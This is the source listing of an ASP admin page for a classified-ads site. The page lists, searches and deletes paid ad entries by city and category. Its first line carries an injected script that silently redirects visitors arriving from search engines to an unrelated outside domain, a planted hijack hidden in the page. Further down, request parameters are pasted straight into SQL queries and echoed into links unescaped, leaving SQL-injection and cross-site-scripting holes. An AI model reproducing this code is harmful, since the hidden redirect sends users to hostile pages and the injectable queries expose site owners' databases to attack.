d:\wwwroot\wuchunhua\cityadmin\fufeiad.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_cityadmin")="" then
003: response.redirect "login.asp"
004: end if
005:
006: set rs=server.createobject("adodb.recordset")
007: if session("twoid")=0 then
008: city="city_oneid="&session("oneid")&""
009: else
010: if session("threeid")=0 then
011: city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&""
012: else
013: city="city_oneid="&session("oneid")&" and city_twoid="&session("twoid")&" and city_threeid="&session("threeid")&""
014: end if
015: end if
016: dim sql,rs
017: keyword=replace(trim(request.form("keyword")),"'","")
018: tid=request("id")
019: ttwoid=request("twoid")
020: tthreeid=request("threeid")
021: if keyword <>"" then
022: sql="select * from china_data where ( title like '%" & keyword & "%' or text like '%" & keyword & "%' )  and money <> 0 and "&city&" and stop >= date() order by adid desc"
023: else
024: if tid<>0 then
025: if ttwoid=0 then dtype="type_oneid="&tid&""
026: if ttwoid<>0 and tthreeid=0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&""
027: if ttwoid<>0 and tthreeid<>0 then dtype="type_oneid="&tid&" and type_twoid="&ttwoid&" and type_threeid="&tthreeid&""
028: sql="select * from china_data where "&dtype&" and money <> 0 and "&city&" and stop >= date() order by adid desc"
029: else
030: sql="select * from china_data where "&city&" and stop >= date()  and money <> 0 order by adid desc"
031: end if
032: end if
033: rs.open sql,conn,1,1%
>
034: <html>
035: <head>
036: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
037: <title>现有信息列表</title>
038: <link rel="stylesheet" type="text/css" href="style.css">
039: </head>
040:
041: <body>
042:       <SCRIPT language=javascript>
043: function CheckAll(form)
044: {
045:   for (var i=0;i<form.elements.length;i++)
046:     {
047:     var e = form.elements[i];
048:     if (e.Name != "chkAll")
049:        e.checked = form.chkAll.checked;
050:     }
051: }
052: function Checked()
053: {
054:    var j = 0
055:    for(i=0;i < document.form.elements.length;i++){
056:       if(document.form.elements[i].name == "adid"){
057:          if(document.form.elements[i].checked){
058:             j++;
059:          }
060:       }
061:    }
062:    return j;
063: }
064:
065: function DelAll()
066: {
067:    if(Checked()  <= 0){
068:       alert("您至少选择1条信息!");
069:    }  
070:    else{
071:       if(confirm("确定要删除选择的信息吗?\n此操作不可以恢复!")){
072:          form.action="del.asp?del=data";
073:          form.submit();
074:       }
075:    }
076: }
077:
078: </SCRIPT>
079: <FORM name=form method=post>
080:       <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
081:   <tr>
082:     <td height="20" bgcolor="#799AE1" align="center">
083:       <table width="98%"  border="0" cellspacing="0" cellpadding="0">
084:         <tr>
085:           <td width="55">
086: <select size="1" name="item" onChange="location=this.options[this.selectedIndex].value">
087:               <option value="?id=0" <%if tid=0 then%>selected<%end if%>>全部</option>
088:               <%set rs_lei = server.createobject("adodb.recordset")                                            
089:          sql = "select * from china_type"                                            
090:          rs_lei.open sql,conn,1,1                                          
091:          do while not rs_lei.eof
092:                                if rs_lei("id")<>0 and rs_lei("twoid")=0 and rs_lei("threeid")=0 then%
>
093:                                 <option value="?id=<%=rs_lei("id")%>"<%if tid=rs_lei("id") and ttwoid=0 then%>selected<%end if%>><%=rs_lei("name")%></option>
094:                           <%end if
095:                           if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")=0 then%
>
096:                           <option value="?id=<%=rs_lei("id")%>&twoid=<%=rs_lei("twoid")%>"<%if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=0 then%>selected<%end if%>>&nbsp;&nbsp;<%=rs_lei("name")%></option>
097:                           <%end if
098:                           if rs_lei("id")<>0 and rs_lei("twoid")<>0 and rs_lei("threeid")<>0 then%
>
099:                            <option value="?id=<%=rs_lei("id")%>&twoid=<%=rs_lei("twoid")%>&threeid=<%=rs_lei("threeid")%>"<%if tid=rs_lei("id") and ttwoid=rs_lei("twoid") and tthreeid=rs_lei("threeid") then%>selected<%end if%>>&nbsp;&nbsp;&nbsp;&nbsp;<%=rs_lei("name")%></option>
100:                            <%end if
101:                           rs_lei.movenext                                      
102:         loop                                                
103:         rs_lei.close                                      
104:         set rs_lei = nothing%
>
105:             </select></td>
106:           <td align="center"><font color="#FFFFFF" style="font-size:14px"><%=session("china_city")%>分站---付费分类信息</font></td>
107:           <td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
108:         </tr>
109:       </table></td>
110:   </tr>
111:   <tr>
112:     <td bgcolor="#FFFFFF"> <br>
113:         <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
114:           <tr bgcolor="#FFFFFF">
115: <td width="30" align="center">编号</td>
116:             <td align="center">信息标题</td>
117:             <td align="center">所在地区</td>
118:             <td align="center">信息类别</td>
119:             <td align="center">付款</td>
120:             <td align="center">发布日期</td>
121:             <td align="center">截止日期</td>
122:             <td align="center">审核状态</td>
123:             <td align="center">会员</td>
124:             <td align="center" <%if webcardid="0" then%>style="display:none"<%end if%>>身份证</td>
125:             <td align="center">IP</td>
126:             <td align="center">管理操作</td>
127:             <td width="30" align="center"><input id=chkAll
128:                   onClick=CheckAll(this.form) type=checkbox
129:                   value=checkbox name=chkAll></td>
130:           </tr>
131:           <%if rs.eof or rs.bof then
132: response.write"<tr bgcolor=#FFFFFF><td colspan='13'><p align='center'><font color='red'>暂无信息!</font></td></tr></table><br>"
133: response.end
134: else
135: const maxperpage=20
136: dim currentpage
137: rs.pagesize=maxperpage
138: currentpage=request.querystring("pageid")
139: if isnumeric(currentpage)=false then
140: response.write "<script>alert('参数错误,关闭窗口!');window.close();</script>"
141: response.end
142: end if
143: if currentpage="" then
144: currentpage=1
145: elseif currentpage<1 then
146: currentpage=1
147: else
148: currentpage=clng(currentpage)
149:    if currentpage > rs.pagecount then
150:    currentpage=rs.pagecount
151:    end if
152: end if
153:
154: dim totalput,n
155: totalput=rs.recordcount
156: if totalput mod maxperpage=0 then
157: n=totalput\maxperpage
158: else
159: n=totalput\maxperpage+1
160: end if
161: if n=0 then
162: n=1
163: end if
164: rs.move(currentpage-1)*maxperpage
165: i=0
166: do while i< maxperpage and not rs.eof%
>
167:           <tr bgcolor="#FFFFFF">
168:             <td align="center"><%=i+currentpage*maxperpage-maxperpage+1%></td>
169:             <td>&nbsp;<a href="../html/<%=rs("adid")%>.htm" target="_blank"><%=rs("title")%></a>
170:                 <%If rs("ispic")="yes" Then%>
171:                 <font color="#FF0000">图</font>
172:                 <%End If%></td>
173:             <td align="center"><a title=<%=rs("city_one")%>/<%=rs("city_two")%>/<%=rs("city_three")%> href="#"><%=rs("city_one")%></a></td>
174:             <td align="center"><a title=<%=rs("type_one")%>/<%=rs("type_two")%>/<%=rs("type_three")%> href="#"><%=rs("type_one")%></a></td>
175:              <td align="center"><%=formatnumber(rs("money"),2)%></td>
176:             <td align="center"><%=rs("date")%></td>
177:             <td align="center"><%=rs("stop")%></td>
178:             <td align="center">
179:                 <%If rs("mark")="yes" Then%>
180:                 <font color="#008000">已审核</font>
181:                 <%Else%>
182:                 <font color="#FF0000">未审核</font>
183:                 <%End If%>
184:             </td>
185:             <td align="center"><%If rs("uid")<>"" Then%>
186:                 <font color="#FF0000">是</font>
187:                 <%Else%>
188:       否
189:       <%End If%></td>
190:
191:             <td align="center" <%if webcardid="0" then%>style="display:none"<%end if%>><%If rs("cardid")<>"" Then%>
192: <a href="../cardid.asp?cardid=<%=rs("cardid")%>" target="_blank">查</a>
193: <%Else%>无<%End If%></td>
194:             <td align="center"><%If rs("ip")<>"" Then%>
195: <a href="../ip.asp?ip=<%=rs("ip")%>" target="_blank">查</a>
196: <%Else%>无<%End If%></td>
197:             <td align="center"><a href="editad.asp?id=<%=rs("adid")%>"><font color="green">修改</font></a></td>
198:             <td align="center"><input type="checkbox" name="adid" value="<%=rs("adid")%>" onClick=Checked(form)></td>
199:           </tr>
200:           <%i=i+1                    
201:     rs.movenext                                                              
202:     loop    
203:     rs.close  
204:     set rs=nothing                                                                                    
205:     conn.close  
206:     set conn=nothing                                                                                        
207:     end if%
>
208:         </table>
209:         <br>
210:     </td>
211:   </tr>
212: </table></FORM>                                                            
213:   <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">  
214:    <tr>                                                    
215:     <td height="20" bgcolor="#FFFFFF"><p align="center">页数:<%=currentpage%>/<%=n%>                                                            
216:       <%k=currentpage                                                                                        
217:       if k<>1 then%
>                                                                    
218:       <a href="?pageid=1&type=<%=request("type")%>">首页</a>                                                                                        
219:       <a href="?pageid=<%=k-1%>"&type=<%=request("type")%>>上一页</a>     <%else%>                                                                    
220:       首页&nbsp;上一页                                                                                        
221:       <%end if%>                                                                    
222:       <%if k<>n then%>                                                                                        
223:       <a href="?pageid=<%=k+1%>&type=<%=request("type")%>">下一页</a>                                                                                  
224:       <a href="?pageid=<%=n%>&type=<%=request("type")%>">尾页</a>                                                                                    
225:       <%else%>                                                                    
226:       下一页&nbsp;尾页                                                                                        
227:       <%end if%>                                                                    
228:      共有 <%=totalput%> 条信息     </td>                                                                                  
229:     <form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
230:       <input  maxLength="20" name="keyword" onfocus="this.value=''" size="18"  value="<%=keyword%>">
231:     <input  type="submit" value="搜索" style="font-size: 12px" name="search"></td>
232:     </form>
233:    </tr>                                                                
234: </table>                                                      
235: </body>                                                                        
236: </html>    
237:
238:
239: